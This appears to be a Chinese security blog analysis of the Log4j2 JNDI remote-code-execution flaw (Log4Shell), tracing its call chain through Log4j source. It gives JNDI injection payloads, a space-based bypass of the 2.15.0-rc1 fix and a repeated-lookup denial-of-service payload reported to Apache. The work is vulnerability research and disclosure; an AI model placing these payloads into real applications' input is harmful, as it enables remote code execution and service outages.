Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告
POC比较简单
public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}
截图如下

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析
看看从logger.error到JndiLookup.lookup中间经历了些什么
从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法
xxxxxxxxxxprivate void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) { try { log(level, marker, fqcn, location, message, throwable); } catch (final Exception e) { handleLogMessageException(e, fqcn, message); }}
不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法
xxxxxxxxxxprotected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) { final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy(); if (strategy instanceof LocationAwareReliabilityStrategy) { // 触发点 ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level, message, throwable); } else { strategy.log(this, getName(), fqcn, marker, level, message, throwable); }}
跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
xxxxxxxxxxpublic void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker, final Level level, final Message data, final Throwable t) { loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);}
进入LoggerConfig.log方法
xxxxxxxxxx ("allocation") public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker, final Level level, final Message data, final Throwable t) { // 无需关心的代码 ... try { // 跟入 log(logEvent, LoggerConfigPredicate.ALL); } finally { ReusableLogEventFactory.release(logEvent); } }
进入LoggerConfig另一处重载log方法
xxxxxxxxxxprotected void log(final LogEvent event, final LoggerConfigPredicate predicate) { if (!isFiltered(event)) { // 跟入 processLogEvent(event, predicate); }}xxxxxxxxxxprivate void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) { event.setIncludeLocation(isIncludeLocation()); if (predicate.allow(this)) { // 关键点 callAppenders(event); } logParent(event, predicate);}
可以看到调用appender.control的callAppender方法
xxxxxxxxxx("allocation")protected void callAppenders(final LogEvent event) { final AppenderControl[] controls = appenders.get(); //noinspection ForLoopReplaceableByForEach for (int i = 0; i < controls.length; i++) { controls[i].callAppender(event); }}
层层跟入到AppenderControl.tryCallAppender方法
xxxxxxxxxxprivate void callAppender0(final LogEvent event) { ensureAppenderStarted(); if (!isFilteredByAppender(event)) { // 跟入 tryCallAppender(event); }}xxxxxxxxxxprivate void tryCallAppender(final LogEvent event) { try { // 跟入 appender.append(event); } catch (final RuntimeException error) { handleAppenderError(event, error); } catch (final Exception error) { handleAppenderError(event, new AppenderLoggingException(error)); }}
进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法
xxxxxxxxxxprotected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); }}
关注其中的encode方法跟入到PatternLayout.encode方法
xxxxxxxxxxpublic void encode(final LogEvent event, final ByteBufferDestination destination) { if (!(eventSerializer instanceof Serializer2)) { super.encode(event, destination); return; } final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); final Encoder<StringBuilder> encoder = getStringBuilderEncoder(); encoder.encode(text, destination); trimToMaxSize(text);}
不用关心多余的代码,这里触发点在toText方法
xxxxxxxxxxprivate StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) { return serializer.toSerializable(event, destination);}xxxxxxxxxxpublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0; i < len; i++) { // 发现其中某一处format方法触发漏洞 formatters[i].format(event, buffer); } if (replace != null) { String str = buffer.toString(); str = replace.format(str); buffer.setLength(0); buffer.append(str); } return buffer;}
这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

跟入看到调用了Converter相关的方法
xxxxxxxxxxpublic void format(final LogEvent event, final StringBuilder buf) { if (skipFormattingInfo) { converter.format(event, buf); } else { formatWithInfo(event, buf); }}
不难看出每个formatter和converter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

跟入MessagePatternConverter.format方法,看到核心的部分
xpublic void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); } if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { // 是否以${开头 if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { // 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName} final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); // 跟入replace方法 workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(config != null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } }}
进入StrSubstitutor.replace方法
xxxxxxxxxxpublic String replace(final LogEvent event, final String source) { if (source == null) { return null; } final StringBuilder buf = new StringBuilder(source); // 跟入 if (!substitute(event, buf, 0, source.length())) { return source; } return buf.toString();}
跟入StrSubstitutor.subtute方法,存在递归,逻辑较长
主要作用是递归处理日志输入,转为对应的输出
xxxxxxxxxxprivate int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { ... substitute(event, bufName, 0, bufName.length()); ... String varValue = resolveVariable(event, varName, buf, startPos, endPos); ... int change = substitute(event, buf, startPos, varLen, priorVariables);}
其实这里是出发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

经过调试确认了关键方法resolveVariable
xxxxxxxxxxprotected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // 进入 return resolver.lookup(event, variableName);}
跟入这里的lookup可以看到很多师傅们截图的方法
xxxxxxxxxxpublic String lookup(final LogEvent event, String var) { if (var == null) { return null; }
final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); // 关键 final StrLookup lookup = strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup != null) { // 这里的name是:ldap://127.0.0.1:1389/badClassName value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); }
if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup != null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null;}
这里的strLookupMap中包含了多种Lookup对象

类似地,可以看这样利用
xxxxxxxxxxlogger.error("${java:runtime}");// 打印00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
跟入JndiLookup.lookup
xxxxxxxxxxpublic String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { // 跟入lookup return Objects.toString(jndiManager.lookup(jndiName), null); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e); return null; }}
最后触发点JndiManager.lookup
xxxxxxxxxx("unchecked")public <T> T lookup(final String name) throws NamingException { return (T) this.context.lookup(name);}
修复版本2.15.0-rc1
跟了下流程发现到PatternLayout.toSerializable方法发生了变化
不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理
xxxxxxxxxxpublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { for (PatternFormatter formatter : formatters) { formatter.format(event, buffer); } return buffer;}
上文提到这里某个formatter包含了MessagePatternConverter
在修复后变成了MessagePatternConverter.SimplePatternConverter类

可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况
xxxxxxxxxxprivate static final class SimpleMessagePatternConverter extends MessagePatternConverter { private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter(); public void format(final LogEvent event, final StringBuilder toAppendTo) { Message msg = event.getMessage(); // 直接拼接字符串 if (msg instanceof StringBuilderFormattable) { ((StringBuilderFormattable) msg).formatTo(toAppendTo); } else if (msg != null) { toAppendTo.append(msg.getFormattedMessage()); } }}
注意到另一个子类LookupMessagePatternConverter
如果Converter被设置为该类,那么会继续进行${}的处理
xxxxxxxxxxprivate static final class LookupMessagePatternConverter extends MessagePatternConverter { private final MessagePatternConverter delegate; private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) { this.delegate = delegate; this.config = config; }
public void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); // 判断${} int indexOfSubstitution = toAppendTo.indexOf("${", start); if (indexOfSubstitution >= 0) { config.getStrSubstitutor() // 进入了上文的流程 .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); } }}
具体需要设置为哪一个子类取决于用户的配置
xxxxxxxxxxprivate static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) { boolean lookups = loadLookups(options); String[] formats = withoutLookupOptions(options); TextRenderer textRenderer = loadMessageRenderer(formats); // 默认不配置lookup功能 MessagePatternConverter result = formats == null || formats.length == 0 ? SimpleMessagePatternConverter.INSTANCE : new FormattedMessagePatternConverter(formats); if (lookups && config != null) { // 只有用户进行配置才会触发 result = new LookupMessagePatternConverter(result, config); } if (textRenderer != null) { result = new RenderingPatternConverter(result, textRenderer); } return result;}
于是想办法开启lookup功能分析后续有没有限制
xxxxxxxxxxfinal Configuration config = new DefaultConfigurationBuilder().build(true);// 配置开启lookup功能final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"});final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build();final StringBuilder sb = new StringBuilder();converter.format(event, sb);System.out.println(sb);
成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法

递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改
xxxxxxxxxxpublic synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { // 允许的协议白名单 if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { // 允许的host白名单 if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } Attributes attributes = this.context.getAttributes(name); if (attributes != null) { Map<String, Attribute> attributeMap = new HashMap<>(); NamingEnumeration<? extends Attribute> enumeration = attributes.getAll(); while (enumeration.hasMore()) { Attribute attribute = enumeration.next(); attributeMap.put(attribute.getID(), attribute); } Attribute classNameAttr = attributeMap.get(CLASS_NAME); // 参考下图我们这种Payload不存在javaSerializedData头 // 所以不会进入类白名单判断 if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { // 类名白名单 String className = classNameAttr.get().toString(); if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else { LOGGER.warn("No class name provided for {}", name); return null; } } else if (attributeMap.get(REFERENCE_ADDRESS) != null || attributeMap.get(OBJECT_FACTORY) != null) { // 不允许REFERENCE这种加载对象的方式 LOGGER.warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
看看实际运行中,这几个白名单是怎样的

默认的协议是:java,ldap,ldaps
默认数据类型是八大基本数据类型
默认的Host白名单是localhost
实际上拦住Payload是在最后一处OBJECT_FACTORY判断

由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)
看起来无懈可击,然而这里有一处细节问题
xxxxxxxxxxpublic synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); ... } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
如果发生了URISyntaxException异常会直接this.context.lookup
能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常
经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}

成功RCE(需要用户开启lookup功能的基础上才可以)

RC2的修复方案是直接return,有效解决了上文的绕过
xxxxxxxxxxtry{} catch (URISyntaxException ex) { LOGGER.warn("Invalid JNDI URI - {}", name); return null;}return (T) this.context.lookup(name);
不过这种修改方式是存在拒绝服务漏洞的,笔者向Apache发送邮件反馈,得到了认可

当开启lookup功能的时候
${}字符串127.0.0.1
回到lookup方法中的修复代码加入计时代码
发现Attributes attributes = this.context.getAttributes(name);会耗时两秒
xxxxxxxxxxURI uri = new URI(name);if (uri.getScheme() != null) { // LDAP协议正常通过白名单 if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { // 127.0.0.1绕过Host白名单 if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } // 计时 long startTime = System.currentTimeMillis(); System.out.println("start"); // 成功执行该耗时方法 Attributes attributes = this.context.getAttributes(name); System.out.println("finish"); // 打印2000左右 System.out.println("cost: "+(System.currentTimeMillis()-startTime)+"ms"); ...}
上文没有对Host白名单部分做分析,在这里需要看一下
xxxxxxxxxxprivate static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();public JndiManager createManager(final String name, final Properties data) { ... // 关键 addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data); ... try { return new JndiManager(name, new InitialDirContext(data), allowedHosts, allowedClasses, allowedProtocols); } catch (final NamingException e) { LOGGER.error("Error creating JNDI InitialContext.", e); return null; }}
看到addAll方法简单地将第3个参数list合并到第2个中
xxxxxxxxxxprivate void addAll(String toSplit, List<String> list, List<String> permanentList, String propertyName, Properties data) { ... // 将第3个参数放入第2个参数list中 list.addAll(permanentList);}
而getLocalIps的方法只看前几行就够了,加入了localhost
xxxxxxxxxxpublic static List<String> getLocalIps() { List<String> localIps = new ArrayList<>(); localIps.add("localhost"); localIps.add("127.0.0.1"); ... return localIps;}
回到测试用例中开启lookup方法,将payload设置为6个,运行后发现耗时12秒
xxxxxxxxxxpublic void testLookup() { final Configuration config = new DefaultConfigurationBuilder().build(true); final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[]{"lookups"}); final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}"); final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build(); final StringBuilder sb = new StringBuilder(); // 计时 long startTime = System.currentTimeMillis(); converter.format(event, sb); System.out.println(sb.toString()); System.out.println("cost: " + (System.currentTimeMillis() - startTime));}
最后来回顾一个问题,为什么${}${}${}...会被解析成多个?
因为开启lookup功能会进入StrSubstitutor.subtute方法递归查找字符串中的${}然后逐个解析
如果设置很多的${}会导致更长时间的拒绝服务
不过这种漏洞很鸡肋,而且得开启lookup功能,想不到什么利用场景,就图一乐了